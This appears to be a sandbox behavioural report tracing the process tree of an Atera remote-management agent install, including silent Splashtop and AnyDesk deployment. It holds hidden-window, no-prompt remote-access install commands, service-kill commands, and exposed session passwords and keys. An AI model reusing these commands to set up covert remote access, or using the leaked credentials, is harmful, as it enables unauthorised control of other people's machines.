C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSI8644.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240682625 463 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.GenerateAgentId3⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSI86F1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240682734 467 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ReportMsiStart3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSI8C71.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240684140 472 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ShouldContinueInstallation3⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\NET.exe"NET" STOP AteraAgent3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 STOP AteraAgent4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\TaskKill.exe"TaskKill.exe" /f /im AteraAgent.exe3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\syswow64\NET.exe"NET" STOP AteraAgent3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 STOP AteraAgent4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\syswow64\TaskKill.exe"TaskKill.exe" /f /im AteraAgent.exe3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSIAE69.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240692812 510 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ReportMsiEnd3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /u2⤵
- Drops file in System32 directory
- Executes dropped EXE
-
-
C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe"C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="" /CompanyId="" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId="" /AgentId="b10effd1-d5f0-4f40-8205-8137ec63f51f"2⤵
- Drops file in System32 directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe"1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" failure AteraAgent reset= 600 actions= restart/250002⤵
- Launches sc.exe
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe" d2c47dfb-26c4-4582-a481-08276c897906 "de799b88-8f70-4ff6-aee4-748140611cbf" agent-api.atera.com/Production 443 or8ixLi90Mf "minimalIdentification" 001Q300000N8afVIAR2⤵
- Drops file in System32 directory
- Executes dropped EXE
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe" d2c47dfb-26c4-4582-a481-08276c897906 "46fafead-f21b-43a9-b5bf-b390afa336a3" agent-api.atera.com/Production 443 or8ixLi90Mf "identified" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe" d2c47dfb-26c4-4582-a481-08276c897906 "ac35ef99-bfbe-48f8-b159-8eacf961d94a" agent-api.atera.com/Production 443 or8ixLi90Mf "generalinfo fromGui" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cscript.execscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus4⤵
- Modifies data under HKEY_USERS
-
-
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSTRemote\AgentPackageSTRemote.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSTRemote\AgentPackageSTRemote.exe" d2c47dfb-26c4-4582-a481-08276c897906 "1cb67f20-2802-4270-b9dd-39b4a34883a9" agent-api.atera.com/Production 443 or8ixLi90Mf "install eyJSbW1Db2RlIjoiaFpDREZQaEs3NW1KIn0=" 001Q300000N8afVIAR2⤵
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\TEMP\SplashtopStreamer.exe"C:\Windows\TEMP\SplashtopStreamer.exe" prevercheck /s /i sec_opt=0,confirm_d=0,hidewindow=13⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\Temp\unpack\PreVerCheck.exe"C:\Windows\Temp\unpack\PreVerCheck.exe" /s /i sec_opt=0,confirm_d=0,hidewindow=14⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exemsiexec /norestart /i "setup.msi" /qn /l*v "C:\Windows\TEMP\PreVer.log.txt" CA_EXTPATH=1 USERINFO="sec_opt=0,confirm_d=0,hidewindow=1"5⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe" d2c47dfb-26c4-4582-a481-08276c897906 "6baf74cd-f72d-450e-8068-029a21b242b9" agent-api.atera.com/Production 443 or8ixLi90Mf "syncprofile" 001Q300000N8afVIAR2⤵
- Drops file in System32 directory
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe"1⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" failure AteraAgent reset= 600 actions= restart/250002⤵
- Launches sc.exe
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe" d2c47dfb-26c4-4582-a481-08276c897906 "6baf74cd-f72d-450e-8068-029a21b242b9" agent-api.atera.com/Production 443 or8ixLi90Mf "syncprofile" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe" d2c47dfb-26c4-4582-a481-08276c897906 "0c96145c-0007-406e-9f04-c881f9ac0e9a" agent-api.atera.com/Production 443 or8ixLi90Mf "generalinfo" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus3⤵
-
C:\Windows\system32\cscript.execscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus4⤵
- Modifies data under HKEY_USERS
-
-
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe" d2c47dfb-26c4-4582-a481-08276c897906 "5a4ec4f1-cc7a-4f71-9d82-d72b55298ce3" agent-api.atera.com/Production 443 or8ixLi90Mf "monitor" 001Q300000N8afVIAR2⤵
- Writes to the Master Boot Record (MBR)
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageUpgradeAgent\AgentPackageUpgradeAgent.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageUpgradeAgent\AgentPackageUpgradeAgent.exe" d2c47dfb-26c4-4582-a481-08276c897906 "bbf8f33c-354e-4978-93b8-20cfe8684516" agent-api.atera.com/Production 443 or8ixLi90Mf "checkforupdates" 001Q300000N8afVIAR2⤵
- Drops file in System32 directory
- Executes dropped EXE
-
C:\Windows\SYSTEM32\msiexec.exe"msiexec.exe" /i C:\Windows\TEMP\ateraAgentSetup64_1_8_7_2.msi /lv* AteraSetupLog.txt /qn /norestart3⤵
- Modifies data under HKEY_USERS
-
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageInternalPoller\AgentPackageInternalPoller.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageInternalPoller\AgentPackageInternalPoller.exe" d2c47dfb-26c4-4582-a481-08276c897906 "15ba0729-64e2-42b1-adac-a953b8d11c32" agent-api.atera.com/Production 443 or8ixLi90Mf "pollAll" 001Q300000N8afVIAR2⤵
- Drops file in Program Files directory
- Executes dropped EXE
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSystemTools\AgentPackageSystemTools.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSystemTools\AgentPackageSystemTools.exe" d2c47dfb-26c4-4582-a481-08276c897906 "143d790a-63d1-4f13-b780-9d63c25230e8" agent-api.atera.com/Production 443 or8ixLi90Mf "probe" 001Q300000N8afVIAR2⤵
- Drops file in System32 directory
- Executes dropped EXE
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageADRemote\AgentPackageADRemote.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageADRemote\AgentPackageADRemote.exe" d2c47dfb-26c4-4582-a481-08276c897906 "1845ad1e-3b18-42c3-9bce-8ad0a3bcb97f" agent-api.atera.com/Production 443 or8ixLi90Mf "eyJBZENvbW1hbmRUeXBlIjo1LCJJbnN0YWxsYXRpb25GaWxlVXJsIjoiaHR0cHM6Ly9nZXQuYW55ZGVzay5jb20vOENRc3U5a3YvQW55RGVza19DdXN0b21fQ2xpZW50Lm1zaSIsIkZvcmNlSW5zdGFsbCI6ZmFsc2UsIlRhcmdldFZlcnNpb24iOiIifQ==" 001Q300000N8afVIAR2⤵
- Drops file in System32 directory
- Executes dropped EXE
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\Agent.Package.Watchdog.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\Agent.Package.Watchdog.exe" d2c47dfb-26c4-4582-a481-08276c897906 "d53294ee-20db-48e4-afbd-b6b8895d6211" agent-api.atera.com/Production 443 or8ixLi90Mf "eyJBcmd1bWVudHMiOiJ7XHUwMDIyQ29tbWFuZE5hbWVcdTAwMjI6XHUwMDIybWFpbnRlbmFuY2VcdTAwMjIsXHUwMDIyRW5hYmxlZFx1MDAyMjp0cnVlLFx1MDAyMlJlcGVhdEludGVydmFsTWludXRlc1x1MDAyMjoxMCxcdTAwMjJEYXlzSW50ZXJ2YWxcdTAwMjI6MSxcdTAwMjJSZXBlYXREdXJhdGlvbkRheXNcdTAwMjI6MX0ifQ==" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\AgentPackageOsUpdates.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\AgentPackageOsUpdates.exe" d2c47dfb-26c4-4582-a481-08276c897906 "6ebd55fd-f415-4972-ae9f-fd5b33ca8ea8" agent-api.atera.com/Production 443 or8ixLi90Mf "getlistofallupdates" 001Q300000N8afVIAR2⤵
- Drops file in System32 directory
- Executes dropped EXE
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMarketplace\AgentPackageMarketplace.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMarketplace\AgentPackageMarketplace.exe" d2c47dfb-26c4-4582-a481-08276c897906 "d72a923f-4574-4e03-98e2-4c53400d131f" agent-api.atera.com/Production 443 or8ixLi90Mf "agentprovision" 001Q300000N8afVIAR2⤵
- Drops file in System32 directory
- Executes dropped EXE
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSTRemote\AgentPackageSTRemote.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSTRemote\AgentPackageSTRemote.exe" d2c47dfb-26c4-4582-a481-08276c897906 "2b99d129-1699-47bb-b32a-578784aebf0a" agent-api.atera.com/Production 443 or8ixLi90Mf "downloadifneeded" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRUtility.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRUtility.exe" -a "st-streamer://com.splashtop.streamer/?rmm_code=hZCDFPhK75mJ&rmm_session_pwd=07bbce0495133f6ddba62e3b04f5dab4&rmm_session_pwd_ttl=86400"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageTicketing\AgentPackageTicketing.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageTicketing\AgentPackageTicketing.exe" d2c47dfb-26c4-4582-a481-08276c897906 "aab5c94e-4be4-428d-a6f4-dd43feb6c042" agent-api.atera.com/Production 443 or8ixLi90Mf "maintain" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies registry class
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageHeartbeat\AgentPackageHeartbeat.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageHeartbeat\AgentPackageHeartbeat.exe" d2c47dfb-26c4-4582-a481-08276c897906 "0035c77a-39ff-4111-a687-d93f9aef9277" agent-api.atera.com/Production 443 or8ixLi90Mf "heartbeat" 001Q300000N8afVIAR2⤵
- Drops file in System32 directory
- Executes dropped EXE
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageRuntimeInstaller\AgentPackageRuntimeInstaller.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageRuntimeInstaller\AgentPackageRuntimeInstaller.exe" d2c47dfb-26c4-4582-a481-08276c897906 "5df33245-3600-497c-93b4-eec1b8e864d4" agent-api.atera.com/Production 443 or8ixLi90Mf "eyJDb21tYW5kTmFtZSI6Imluc3RhbGxkb3RuZXQiLCJEb3ROZXRWZXJzaW9uIjoiNi4wLjM1IiwiTWFjQVJNRG93bmxvYWRVcmwiOiJodHRwczovL2Rvd25sb2FkLnZpc3VhbHN0dWRpby5taWNyb3NvZnQuY29tL2Rvd25sb2FkL3ByLzU4OTc4Y2ViLTVkZTMtNDllMi1iNTcxLTk3MjgyNWIwOGYwYS9mMWJkOWIxYmI1YjI1YjhjOWNlZTQwZWQ5YTNkODAyMy9kb3RuZXQtcnVudGltZS02LjAuMzUtb3N4LWFybTY0LnBrZyIsIk1hY1g2NERvd25sb2FkVXJsIjoiaHR0cHM6Ly9kb3dubG9hZC52aXN1YWxzdHVkaW8ubWljcm9zb2Z0LmNvbS9kb3dubG9hZC9wci8yNjkyMDY2NC1kNzU0LTRmNzYtOWM5OS1lNjkxMTYzNDhlODIvYTQwMzE1MzcxY2M2MDdjOWYxODQ3OGM5M2YyYTY3NmEvZG90bmV0LXJ1bnRpbWUtNi4wLjM1LW9zeC14NjQucGtnIiwiV2luQVJNRG93bmxvYWRVcmwiOiJodHRwczovL2Rvd25sb2FkLnZpc3VhbHN0dWRpby5taWNyb3NvZnQuY29tL2Rvd25sb2FkL3ByL2EyMjNjNDViLTQ3NzctNDA1Ni1hZWEyLTY1M2M1NzZkODExNS9iZjhhZjYzYzZlNjI1YmU0YWZhODVlYzA5M2U4MWU2NS9kb3RuZXQtcnVudGltZS02LjAuMzUtd2luLWFybTY0LmV4ZSIsIldpblg2NERvd25sb2FkVXJsIjoiaHR0cHM6Ly9kb3dubG9hZC52aXN1YWxzdHVkaW8ubWljcm9zb2Z0LmNvbS9kb3dubG9hZC9wci9jNGY2NTYyMS1iMzZiLTQ2YTktODM4MC1kNWI2NjBiZWYyN2UvMDE4NWZkNzIwNTVkY2RjYTg2MTY2Yjk5YWRkNzE2ODYvZG90bmV0LXJ1bnRpbWUtNi4wLjM1LXdpbi14NjQuZXhlIiwiV2luWDg2RG93bmxvYWRVcmwiOiJodHRwczovL2Rvd25sb2FkLnZpc3VhbHN0dWRpby5taWNyb3NvZnQuY29tL2Rvd25sb2FkL3ByL2E5MGZiNWRjLWY0ODgtNDAwZS04NWNhLTg0M2ExMzY0MGY1Ni80ODNkMjQ2MzhjYzJiZWRhZGRhYjQzNzM0YWEyZTQ0Ny9kb3RuZXQtcnVudGltZS02LjAuMzUtd2luLXg4Ni5leGUiLCJNYWNBUk1DaGVja3N1bSI6IlVlSmJHR0dWb2NwZmdpckU2eDVNN29MQzhBS2NOSjk4SDNFcmJ0L0taS0dPdWxpQ1Flc1x1MDAyQmx6Wno5XHUwMDJCcnQwdXJMZ2FEeng0cmtXZm0veWg5UWI1RFRKUT09IiwiTWFjWDY0Q2hlY2tzdW0iOiJaZFZQVmRFSG40ZXFkdlNPUksxRUpXcjdnOUt5b0RZSXp6czQzOUxKeHYvZkFRdG5iTjk3OE8yTm1pNGtRSFNkdlJJazEvNFx1MDAyQjlycTZPMEx2Q2FnL1d3PT0iLCJXaW5BUk1DaGVja3N1bSI6IldlTGhodXU3Vi96NEs2WGVubDBINDVWWDExb0ZhdHdvV1BNa2pEQ2dobmhrTm5US2tqZjc0eUFcdTAwMkJcdTAwMkJ0Ri9VU1ZDZXE2T2dRbHI2V1Y1dU1rRWwxUVdqUT09IiwiV2luWDY0Q2hlY2tzdW0iOiJEREtSSlRFanp6XHUwMDJCSWUxMldTM2Y0aHVKQlNpeXR4TkRwQlI2SXpFeHpkM2ZBb0toNVV5MkEwbTlKOFU0ZVh5VmJxeEhjZzB3M25hWW1FZFNFeEwzMEZnPT0iLCJXaW5YODZDaGVja3N1bSI6IjdtSUF5bG9IeWxIVFVJakhud3NXeVVOXHUwMDJCVWU0alk3eXBrZVx1MDAyQnEyM2xNbEdzR0hpVUc1b21scW1LOVEvYVViODhLXHUwMDJCTnBGMWNaUVpXQjVJb3ZtTzVucWN3PT0iLCJXb3Jrc3BhY2VJZCI6ImJmMGNlNDlkLTc3Y2YtNDcyMS1iZjcwLTU3Njg2MzgzYzlhYiIsIkxvZ05hbWUiOiJEb3ROZXRSdW50aW1lSW5zdGFsbGF0aW9uUmVwb3J0IiwiU2hhcmVkS2V5IjoialVJUy9UOUNSVkRlS3hZZzRVcjNhQ2hoV1F1Y1k3UFZ2d2cwekh1cUpzY3JUampRMkx3SzZVamZ1N2NBMk5wckFSMHIvU1JBWEpZWWxkUEtLRnlLS1E9PSJ9" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /K "cd /d C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageRuntimeInstaller\" /3⤵
- System Time Discovery
-
C:\Program Files\dotnet\dotnet.exedotnet --list-runtimes4⤵
- System Time Discovery
-
-
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\AgentPackageProgramManagement.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\AgentPackageProgramManagement.exe" d2c47dfb-26c4-4582-a481-08276c897906 "c358ca85-4b34-4f17-9227-6d553c006b35" agent-api.atera.com/Production 443 or8ixLi90Mf "syncinstalledapps" 001Q300000N8afVIAR2⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Executes dropped EXE
-
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRManager.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRManager.exe"2⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRServer.exe-h3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRAgent.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRAgent.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\BdEpSDK.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\BdEpSDK.exe" -v4⤵
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRAppPB.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRAppPB.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRFeature.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRFeature.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRUtility.exeSRUtility.exe -r4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRVirtualDisplay.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRVirtualDisplay.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\LciDisplay\install_driver64.bat" nosetkey4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver5⤵
-
-
C:\Windows\system32\sc.exesc query ddmgr5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc query lci_proxykmd5⤵
- Launches sc.exe
-
-
C:\Windows\system32\rundll32.exerundll32 x64\my_setup.dll do_install_lci_proxywddm5⤵
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
-
-
-
-
C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe"C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe"1⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" failure AteraAgent reset= 600 actions= restart/250002⤵
- Launches sc.exe
-
-
C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe"C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe" d2c47dfb-26c4-4582-a481-08276c897906 "4f3370d3-4248-4028-b0b8-1f6849f6ab82" agent-api.atera.com/Production 443 or8ixLi90Mf "generalinfo" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus3⤵
-
C:\Windows\system32\cscript.execscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus4⤵
- Modifies data under HKEY_USERS
-
-
-
-
C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageADRemote\AgentPackageADRemote.exe"C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageADRemote\AgentPackageADRemote.exe" d2c47dfb-26c4-4582-a481-08276c897906 "8ede4de8-ba18-4b03-90f4-ebc201abb504" agent-api.atera.com/Production 443 or8ixLi90Mf "eyJBZENvbW1hbmRUeXBlIjo1LCJJbnN0YWxsYXRpb25GaWxlVXJsIjoiaHR0cHM6Ly9nZXQuYW55ZGVzay5jb20vOENRc3U5a3YvQW55RGVza19DdXN0b21fQ2xpZW50Lm1zaSIsIkZvcmNlSW5zdGFsbCI6ZmFsc2UsIlRhcmdldFZlcnNpb24iOiIifQ==" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
-
-
C:\Program Files\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\Agent.Package.Watchdog.exe"C:\Program Files\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\Agent.Package.Watchdog.exe" d2c47dfb-26c4-4582-a481-08276c897906 "555c53e6-b43a-4254-80be-b55746f958a0" agent-api.atera.com/Production 443 or8ixLi90Mf "eyJBcmd1bWVudHMiOiJ7XHUwMDIyQ29tbWFuZE5hbWVcdTAwMjI6XHUwMDIybWFpbnRlbmFuY2VcdTAwMjIsXHUwMDIyRW5hYmxlZFx1MDAyMjp0cnVlLFx1MDAyMlJlcGVhdEludGVydmFsTWludXRlc1x1MDAyMjoxMCxcdTAwMjJEYXlzSW50ZXJ2YWxcdTAwMjI6MSxcdTAwMjJSZXBlYXREdXJhdGlvbkRheXNcdTAwMjI6MX0ifQ==" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
-
-
C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageMarketplace\AgentPackageMarketplace.exe"C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageMarketplace\AgentPackageMarketplace.exe" d2c47dfb-26c4-4582-a481-08276c897906 "e3377a15-6f29-4d4d-ab1d-6654dc03256a" agent-api.atera.com/Production 443 or8ixLi90Mf "agentprovision" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
-
-
C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageInternalPoller\AgentPackageInternalPoller.exe"C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageInternalPoller\AgentPackageInternalPoller.exe" d2c47dfb-26c4-4582-a481-08276c897906 "f351a8d5-77b5-4173-bfb4-47701c524765" agent-api.atera.com/Production 443 or8ixLi90Mf "pollAll" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
-
-
C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageHeartbeat\AgentPackageHeartbeat.exe"C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageHeartbeat\AgentPackageHeartbeat.exe" d2c47dfb-26c4-4582-a481-08276c897906 "cbe71100-0eba-48d1-9229-c5028045f2aa" agent-api.atera.com/Production 443 or8ixLi90Mf "heartbeat" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
-
-
C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageSystemTools\AgentPackageSystemTools.exe"C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageSystemTools\AgentPackageSystemTools.exe" d2c47dfb-26c4-4582-a481-08276c897906 "cd1f31af-93d1-4537-836f-15fcb1b46011" agent-api.atera.com/Production 443 or8ixLi90Mf "probe" 001Q300000N8afVIAR2⤵
- Executes dropped EXE
-
-
